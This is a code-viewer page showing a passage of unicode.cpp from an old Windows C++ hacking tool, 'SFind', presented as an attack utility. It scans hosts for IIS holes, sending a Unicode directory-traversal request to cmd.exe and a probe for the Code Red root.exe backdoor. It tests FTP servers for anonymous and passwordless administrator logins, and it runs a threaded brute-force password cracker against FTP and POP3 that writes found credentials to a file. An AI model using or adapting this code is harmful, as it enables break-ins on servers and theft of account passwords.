📄 unicode.cpp
字号:
}
if (strstr(recvbuf,"200 OK"))
{
cout<<inet_ntoa(server.sin_addr)<<(char*)cgistr<<endl;
myf<<inet_ntoa(server.sin_addr)<<(char*)cgistr<<endl;
ok++;
}
maxthread--;
closesocket(s);
}
}
return 0;
}
//版本信息
void ver()
{ cout<<endl;
cout<<" =========SFind command line super tools version 1.85========="<<endl;
cout<<" ========By Sunw 1999-2001. http://sw_sun.myetang.com========="<<endl<<endl;
}
//等待线程结束函数
void WaitThreadEnd()
{
cout<<"Please wait "<<maxthread<<" Thread end.....\r";
cout<<endl;
for(;;)
{
if (maxthread!=0)
{ Sleep(200);
continue;}
else break;
}
return;
}
//测试线程是否已满
void TestThread(int thread)
{
for (;;){
if (maxthread>thread)
{//cout<<"thread"<<endl;
Sleep(3500);}
else break;
}
return;
}
//检测扫描IIS漏洞类型
void checkiisholetype()
{
if (stricmp(type,"-idq")==0) {strcpy(sendbuf,"GET /NULL.idq\n");strcpy(checkhole,"200 OK");strcpy(iisholemessage," find .idq hole");}
if (stricmp(type,"-pri")==0) {strcpy(sendbuf,"GET /NULL.printer\n");strcpy(checkhole,"500 13\r\nServer: Microsoft-IIS/5.0");strcpy(iisholemessage," find .printer hole");}
if (stricmp(type,"-uni")==0) {strcpy(sendbuf,"GET /scripts/..%255c%255c../winnt/system32/cmd.exe?/c+dir\r\n");strcpy(checkhole,"200 OK");strcpy(iisholemessage," find unicode hole");}
if (stricmp(type,"-codered")==0) {strcpy(sendbuf,"GET /scripts/root.exe?/c+dir\r\n");strcpy(checkhole,"200 OK");strcpy(iisholemessage," find codered host");}
return;
}
//测试ftp匿名登陆函数
UINT ftpanonymous(LPVOID ip)
{ int ipaddr=int(ip);
SOCKET s;
sockaddr_in server;
char recvbuf[100],ftpsenduser[100],ftpsendpass[100];
if (ftpopt==true){strcpy(ftpsenduser,"user administrator\r\n");}
else {strcpy(ftpsenduser,"user anonymous\r\n");strcpy(ftpsendpass,"pass sunw@www.com\r\n");}
server.sin_family=AF_INET;
server.sin_addr.s_addr=htonl(ipaddr);
server.sin_port=htons(21);
//显示进度
if (searchend<=searchnumber+1&&searchnumber!=0)
{
cout<<(searchend)*100/(searchnumber)<<"% Complete.\r";
}
//设置套接字为非阻塞模式
struct fd_set mask;
struct timeval timeout;
for (int j=0;j<10;j++)
{ if (ftpopt==true) {strcpy(ftpsendpass,"pass ");strcat(ftpsendpass,ftppass[j]);strcat(ftpsendpass,"\r\n");}
s=socket(AF_INET,SOCK_STREAM,0);
if (s==INVALID_SOCKET) {cout<<"Socket() Error"<<endl;maxthread--;return -1;}
timeout.tv_sec=3; // 超时限制为2秒
timeout.tv_usec=0;
FD_ZERO(& mask); //清空集合mask
FD_SET(s,& mask); //将s放入集合mask中
unsigned long flag=1;
if (ioctlsocket(s,FIONBIO,&flag)!=0) {cout<<"ioctlsocket error"<<WSAGetLastError()<<endl;maxthread--;closesocket(s);return -1;}
connect(s,(struct sockaddr *)&server,sizeof(server));
switch(select(s+1,NULL,&mask,NULL,&timeout))
{
case -1: {cout<<"select error"<<endl;closesocket(s);maxthread--;return -1;}
case 0: { maxthread--;closesocket(s);return -1;}//如果超时
default:
if(FD_ISSET(s,&mask))
{
for (int i=0;i<2;i++)
{
if (recv(s,recvbuf,100,0)==SOCKET_ERROR){if (WSAGetLastError()==10035) {Sleep(1000);continue;} else {closesocket(s);maxthread--;return -1;} }
break;
}
if (strstr(recvbuf,"220"))
{
if (send(s,ftpsenduser,strlen(ftpsenduser),0)==SOCKET_ERROR)
cout<<"Send() Error"<<endl;
}
for (i=0;i<2;i++)
{
if (recv(s,recvbuf,100,0)==SOCKET_ERROR){if (WSAGetLastError()==10035) {Sleep(1000);continue;} else {closesocket(s);maxthread--;return -1;} }
break;
}
if (strstr(recvbuf,"331"))
if(send(s,ftpsendpass,strlen(ftpsendpass),0)==SOCKET_ERROR)
cout<<"Send() Error"<<endl;
for (i=0;i<2;i++)
{
if (recv(s,recvbuf,100,0)==SOCKET_ERROR){if (WSAGetLastError()==10035) {Sleep(1000);continue;} else {closesocket(s);maxthread--;return -1;} }
break;
}
if (strstr(recvbuf,"230"))
{
if (ftpopt==true)
{
if (j==0)
{cout<<inet_ntoa(server.sin_addr)<<" ftp user administrator longin succeed. no password."<<endl;
myf<<inet_ntoa(server.sin_addr)<<" ftp user administrator longin succeed. no password."<<endl;
}
else
{
cout<<inet_ntoa(server.sin_addr)<<" ftp user administrator longin succeed. password is '"<<ftppass[j]<<"'"<<endl;
myf<<inet_ntoa(server.sin_addr)<<" ftp user administrator longin succeed. password is '"<<ftppass[j]<<"'"<<endl;
}
}
else
{
cout<<inet_ntoa(server.sin_addr)<<" ftp user anonymous longin succeed."<<" password is you E-mail."<<endl;
myf<<inet_ntoa(server.sin_addr)<<" ftp user anonymous longin succeed."<<" password is you E-mail."<<endl;
}
send(s,"QUIT\r\n",10,0);
ok++;
maxthread--;
closesocket(s);
return 0;
}
send(s,"QUIT\r\n",10,0);
if (ftpopt==false){maxthread--;closesocket(s);return -1;}
}
}
}
closesocket(s);
maxthread--;
return 0;
}
//设置光标坐标函数
bool ResetCursor(int y, int x)
{
CONSOLE_SCREEN_BUFFER_INFO coninfo;
hstdout=GetStdHandle(STD_OUTPUT_HANDLE);
// 取得当前光标位置
if (!GetConsoleScreenBufferInfo(hstdout,&coninfo))
{
cout<<"GetConsoleScreenBufferInfo Error"<<endl;
return false;
}
if (x!=90)
coninfo.dwCursorPosition.X=x;
if (y!=90)
coninfo.dwCursorPosition.Y=y;
SetConsoleCursorPosition(hstdout,coninfo.dwCursorPosition);
return true;
}
//进度显示
void plango()
{
//ResetCursor(24,0);
cout<<planx[plan]<<"\r";
if (plan>=3) {plan=-1;}
return;
}
//测试密码位数
int passdigit(int type)
{ //字符进位
if (type==0)
{
if (digit==1&&strch[0]=='z') digit++;
if (digit==2&&strch[0]=='z'&&strch[1]=='z') digit++;
if (digit==3&&strch[0]=='z'&&strch[1]=='z'&&strch[2]=='z') digit++;
if (digit==4&&strch[0]=='z'&&strch[1]=='z'&&strch[2]=='z'&&strch[3]=='z') digit++;
if (digit==5&&strch[0]=='z'&&strch[1]=='z'&&strch[2]=='z'&&strch[3]=='z'&&strch[4]=='z') digit++;
if (digit==6&&strch[0]=='z'&&strch[1]=='z'&&strch[2]=='z'&&strch[3]=='z'&&strch[4]=='z'&&strch[5]=='z') digit++;
if (digit==7&&strch[0]=='z'&&strch[1]=='z'&&strch[2]=='z'&&strch[3]=='z'&&strch[4]=='z'&&strch[5]=='z'&&strch[6]=='z') digit++;
if (digit==8&&strch[0]=='z'&&strch[1]=='z'&&strch[2]=='z'&&strch[3]=='z'&&strch[4]=='z'&&strch[5]=='z'&&strch[6]=='z'&&strch[7]=='z') digit++;
if (digit==9&&strch[0]=='z'&&strch[1]=='z'&&strch[2]=='z'&&strch[3]=='z'&&strch[4]=='z'&&strch[5]=='z'&&strch[6]=='z'&&strch[7]=='z'&&strch[8]=='z') digit++;
if (digit==10&&strch[0]=='z'&&strch[1]=='z'&&strch[2]=='z'&&strch[3]=='z'&&strch[4]=='z'&&strch[5]=='z'&&strch[6]=='z'&&strch[7]=='z'&&strch[8]=='z'&&strch[9]=='z') digit++;
if (digit==11&&strch[0]=='z'&&strch[1]=='z'&&strch[2]=='z'&&strch[3]=='z'&&strch[4]=='z'&&strch[5]=='z'&&strch[6]=='z'&&strch[7]=='z'&&strch[8]=='z'&&strch[9]=='z'&&strch[10]=='z') digit++;
if (digit==12&&strch[0]=='z'&&strch[1]=='z'&&strch[2]=='z'&&strch[3]=='z'&&strch[4]=='z'&&strch[5]=='z'&&strch[6]=='z'&&strch[7]=='z'&&strch[8]=='z'&&strch[9]=='z'&&strch[10]=='z'&&strch[11]=='z') digit++;
if (digit==13&&strch[0]=='z'&&strch[1]=='z'&&strch[2]=='z'&&strch[3]=='z'&&strch[4]=='z'&&strch[5]=='z'&&strch[6]=='z'&&strch[7]=='z'&&strch[8]=='z'&&strch[9]=='z'&&strch[10]=='z'&&strch[11]=='z'&&strch[12]=='z') digit++;
}
//数字进位
if (type==1)
{
if (digit==1&&strch[0]=='9') digit++;
if (digit==2&&strch[0]=='9'&&strch[1]=='9') digit++;
if (digit==3&&strch[0]=='9'&&strch[1]=='9'&&strch[2]=='9') digit++;
if (digit==4&&strch[0]=='9'&&strch[1]=='9'&&strch[2]=='9'&&strch[3]=='9') digit++;
if (digit==5&&strch[0]=='9'&&strch[1]=='9'&&strch[2]=='9'&&strch[3]=='9'&&strch[4]=='9') digit++;
if (digit==6&&strch[0]=='9'&&strch[1]=='9'&&strch[2]=='9'&&strch[3]=='9'&&strch[4]=='9'&&strch[5]=='9') digit++;
if (digit==7&&strch[0]=='9'&&strch[1]=='9'&&strch[2]=='9'&&strch[3]=='9'&&strch[4]=='9'&&strch[5]=='9'&&strch[6]=='9') digit++;
if (digit==8&&strch[0]=='9'&&strch[1]=='9'&&strch[2]=='9'&&strch[3]=='9'&&strch[4]=='9'&&strch[5]=='9'&&strch[6]=='9'&&strch[7]=='9') digit++;
if (digit==9&&strch[0]=='9'&&strch[1]=='9'&&strch[2]=='9'&&strch[3]=='9'&&strch[4]=='9'&&strch[5]=='9'&&strch[6]=='9'&&strch[7]=='9'&&strch[8]=='9') digit++;
if (digit==10&&strch[0]=='9'&&strch[1]=='9'&&strch[2]=='9'&&strch[3]=='9'&&strch[4]=='9'&&strch[5]=='9'&&strch[6]=='9'&&strch[7]=='9'&&strch[8]=='9'&&strch[9]=='9') digit++;
if (digit==11&&strch[0]=='9'&&strch[1]=='9'&&strch[2]=='9'&&strch[3]=='9'&&strch[4]=='9'&&strch[5]=='9'&&strch[6]=='9'&&strch[7]=='9'&&strch[8]=='9'&&strch[9]=='9'&&strch[10]=='9') digit++;
if (digit==12&&strch[0]=='9'&&strch[1]=='9'&&strch[2]=='9'&&strch[3]=='9'&&strch[4]=='9'&&strch[5]=='9'&&strch[6]=='9'&&strch[7]=='9'&&strch[8]=='9'&&strch[9]=='9'&&strch[10]=='9'&&strch[11]=='9') digit++;
if (digit==13&&strch[0]=='9'&&strch[1]=='9'&&strch[2]=='9'&&strch[3]=='9'&&strch[4]=='9'&&strch[5]=='9'&&strch[6]=='9'&&strch[7]=='9'&&strch[8]=='9'&&strch[9]=='9'&&strch[10]=='9'&&strch[11]=='9'&&strch[12]=='9') digit++;
}
return 0;
}
//穷举函数
UINT cracker(LPVOID pass)
{
char static *ftppassword=(char*)pass,checkhole1[5],checkhole2[5],checkhole3[5];
char recvbuf[500],ftpsendpass[100],ftpsenduser[100],recvbufpop[500];
SOCKET s;
sockaddr_in server;
server.sin_family=AF_INET;
server.sin_addr.s_addr=inet_addr(uhackip);
if (ftpopt==true)
server.sin_port=htons(21);
else server.sin_port=htons(110);
//显示进度
cout<<"Test: "<<(char *)pass<<"\r";
//设置套接字为非阻塞模式
struct fd_set mask;
struct timeval timeout;
strcpy(ftpsenduser,"user ");
strcat(ftpsenduser,ftpuser);
strcat(ftpsenduser,"\r\n");
strcpy(ftpsendpass,"pass ");
strcat(ftpsendpass,ftppassword);
strcat(ftpsendpass,"\r\n");
s=socket(AF_INET,SOCK_STREAM,0);
if (ftpopt==true)
{
strcpy(checkhole1,"220");
strcpy(checkhole2,"331");
strcpy(checkhole3,"230");
}
else
{
strcpy(checkhole1,"+OK ");
strcpy(checkhole2,"+OK ");
strcpy(checkhole3,"+OK ");
}
if (s==INVALID_SOCKET) {cout<<"Socket() Error"<<endl;maxthread--;return -1;}
timeout.tv_sec=3; // 超时限制为2秒
timeout.tv_usec=0;
FD_ZERO(& mask); //清空集合mask
FD_SET(s,& mask); //将s放入集合mask中
unsigned long flag=1;
if (ioctlsocket(s,FIONBIO,&flag)!=0) {cout<<"ioctlsocket error"<<WSAGetLastError()<<endl;maxthread--;closesocket(s);return -1;}
connect(s,(struct sockaddr *)&server,sizeof(server));
switch(select(s+1,NULL,&mask,NULL,&timeout))
{
case -1: {cout<<"select error"<<WSAGetLastError()<<endl;closesocket(s);maxthread--;return -1;}
case 0: { maxthread--;closesocket(s);return -1;}//如果超时
default:
if(FD_ISSET(s,&mask))
{
for (int i=0;i<10;i++)
{
if (recv(s,recvbuf,500,0)==SOCKET_ERROR){if (WSAGetLastError()==10035) {Sleep(1000);continue;} else {closesocket(s);maxthread--;return -1;} }
break;
}
if (strstr(recvbuf,checkhole1))
{ if (send(s,ftpsenduser,strlen(ftpsenduser),0)==SOCKET_ERROR)
cout<<"Send()1 Error"<<WSAGetLastError();
}
for (i=0;i<10;i++)
{
if (recv(s,recvbuf,500,0)==SOCKET_ERROR){if (WSAGetLastError()==10035) {Sleep(1000);continue;} else {closesocket(s);maxthread--;return -1;} }
break;
}
if (strstr(recvbuf,checkhole2))
{
if(send(s,ftpsendpass,strlen(ftpsendpass),0)==SOCKET_ERROR)
cout<<"Send()2 Error"<<WSAGetLastError()<<endl;
}
for (i=0;i<10;i++)
{
if (recv(s,recvbufpop,500,0)==SOCKET_ERROR){if (WSAGetLastError()==10035) {Sleep(1000);continue;} else {closesocket(s);maxthread--;return -1;} }
break;
}
if (strstr(recvbufpop,checkhole3))
{ // cout<<recvbufpop<<endl;
cout<<"Password : "<<ftppassword<<endl;
myf<<"Ftp server: "<<uhackip<<endl;
myf<<"User name : "<<ftpuser<<endl;
myf<<"Password : "<<ftppassword<<endl;
myf<<"COMMAND OVER."<<endl<<endl<<endl;
send(s,"QUIT\r\n",10,0);
closesocket(s);
endx=true;
// }
}
send(s,"QUIT\r\n",10,0);
}
}
closesocket(s);
maxthread--;
return 0;
}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -